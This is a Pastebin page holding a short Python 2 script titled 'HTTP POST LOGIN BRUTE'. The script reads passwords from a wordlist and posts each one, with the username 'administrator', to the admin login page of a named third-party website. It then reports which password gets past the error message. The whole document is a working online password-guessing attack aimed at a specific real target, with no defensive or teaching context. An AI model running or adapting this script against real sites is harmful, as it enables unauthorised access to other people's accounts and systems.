Advertisement
parkdream1

HTTP POST LOGIN BRUTE

Aug 30th, 2013
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.90 KB | None | 0 0
  1. import urllib2
  2. import socket
  3. import cookielib
  4. import time
  5. import re
  6.  
  7. PASS_LIST = 'password.txt'
  8. USER = 'administrator'
  9. MESSENGER = 'Incorrect Username and Password, please try again'
  10. DEBUG = 0
  11.  
  12. with open(PASS_LIST) as f:
  13.     for line in f:
  14.         line = line.replace("\n","")
  15.         print "Brute Force Password : %s" % line
  16.         POSTDATA = "username=%s&password=%s&submit=+"%(USER,line)
  17.         URL = "http://dinhnguyen.vn/admin/index.php"
  18.         try:
  19.             socket.setdefaulttimeout(10)
  20.             cj = cookielib.CookieJar()
  21.             opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  22.             response = opener.open(URL,POSTDATA).read()
  23.             result = re.findall(MESSENGER, response)
  24.             if DEBUG==1: print result
  25.             if DEBUG==1: open('debug/%s.html'%line, 'wb').write(response)
  26.             if len(result) > 0:
  27.                 print "Login Password %s Error"%line
  28.             else:
  29.                 print "Password %s Ok"%line
  30.         except:
  31.             print "Error"
  32.         time.sleep(3)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement